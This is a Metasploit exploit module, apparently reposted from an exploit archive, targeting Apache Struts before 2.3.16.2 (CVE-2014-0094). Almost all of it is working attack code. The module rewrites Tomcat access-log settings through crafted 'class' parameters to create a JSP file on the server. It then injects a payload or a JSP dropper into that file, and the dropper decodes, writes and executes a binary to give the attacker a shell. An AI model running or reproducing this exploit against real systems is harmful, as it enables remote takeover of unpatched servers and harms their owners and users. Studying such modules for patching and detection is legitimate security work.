Apache Struts ClassLoader Manipulation Remote Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking # It's going to manipulate the Class Loader  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in Apache Struts  
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows  
access to 'class' parameter which is directly mapped to getClass() method and  
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary  
Java code via crafted parameters.  
},  
'Author' =>  
[  
'Mark Thomas', # Vulnerability Discovery  
'Przemyslaw Celej', # Vulnerability Discovery  
'pwntester <alvaro[at]pwntester.com>', # PoC  
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-0094'],  
['CVE', '2014-0112'],  
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],  
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']  
],  
'Platform' => %w{ linux win },  
'Payload' =>  
{  
'Space' => 5000,  
'DisableNops' => true  
},  
'Targets' =>  
[  
['Java',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => %w{ linux win }  
},  
],  
['Linux',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
['Windows',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
]  
],  
'DisclosureDate' => 'Mar 06 2014',  
'DefaultTarget' => 1))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])  
], self.class)  
end  
  
def jsp_dropper(file, exe)  
dropper = <<-eos  
<%@ page import=\"java.io.FileOutputStream\" %>  
<%@ page import=\"sun.misc.BASE64Decoder\" %>  
<%@ page import=\"java.io.File\" %>  
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>  
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>  
<% oFile.flush(); %>  
<% oFile.close(); %>  
<% File f = new File(\"#{file}\"); %>  
<% f.setExecutable(true); %>  
<% Runtime.getRuntime().exec(\"./#{file}\"); %>  
eos  
  
dropper  
end  
  
def dump_line(uri, cmd = "")  
res = send_request_cgi({  
'uri' => uri+cmd,  
'version' => '1.1',  
'method' => 'GET',  
})  
  
res  
end  
  
def modify_class_loader(opts)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'version' => '1.1',  
'method' => 'GET',  
'vars_get' => {  
"class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory],  
"class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],  
"class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],  
"class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]  
}  
})  
  
res  
end  
  
def check_log_file(hint)  
uri = normalize_uri("/", @jsp_file)  
  
print_status("#{peer} - Waiting for the server to flush the logfile")  
  
10.times do |x|  
select(nil, nil, nil, 2)  
  
# Now make a request to trigger payload  
vprint_status("#{peer} - Countdown #{10-x}...")  
res = dump_line(uri)  
  
# Failure. The request timed out or the server went away.  
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?  
  
# Success if the server has flushed all the sent commands to the jsp file  
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/  
print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")  
return true  
end  
end  
  
false  
end  
  
# Fix the JSP payload to make it valid once is dropped  
# to the log file  
def fix(jsp)  
output = ""  
jsp.each_line do |l|  
if l =~ /<%.*%>/  
output << l  
elsif l =~ /<%/  
next  
elsif l.chomp.empty?  
next  
else  
output << "<% #{l.chomp} %>"  
end  
end  
output  
end  
  
def create_jsp  
if target['Arch'] == ARCH_JAVA  
jsp = fix(payload.encoded)  
else  
payload_exe = generate_payload_exe  
payload_file = rand_text_alphanumeric(4 + rand(4))  
jsp = jsp_dropper(payload_file, payload_exe)  
register_files_for_cleanup(payload_file)  
end  
  
jsp  
end  
  
def exploit  
prefix_jsp = rand_text_alphanumeric(3+rand(3))  
date_format = rand_text_numeric(1+rand(4))  
@jsp_file = prefix_jsp + date_format + ".jsp"  
  
# Modify the Class Loader  
  
print_status("#{peer} - Modifying Class Loader...")  
properties = {  
:directory => 'webapps/ROOT',  
:prefix => prefix_jsp,  
:suffix => '.jsp',  
:file_date_format => date_format  
}  
res = modify_class_loader(properties)  
unless res  
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")  
end  
  
# Check if the log file exists and hass been flushed  
  
if check_log_file(normalize_uri(target_uri.to_s))  
register_files_for_cleanup(@jsp_file)  
else  
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")  
end  
  
# Prepare the JSP  
print_status("#{peer} - Generating JSP...")  
jsp = create_jsp  
  
# Dump the JSP to the log file  
print_status("#{peer} - Dumping JSP into the logfile...")  
random_request = rand_text_alphanumeric(3 + rand(3))  
jsp.each_line do |l|  
unless dump_line(random_request, l.chomp)  
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")  
end  
end  
  
# Check log file... enjoy shell!  
check_log_file(random_request)  
  
# No matter what happened, try to 'restore' the Class Loader  
properties = {  
:directory => '',  
:prefix => '',  
:suffix => '',  
:file_date_format => ''  
}  
modify_class_loader(properties)  
end  
  
end  
  
`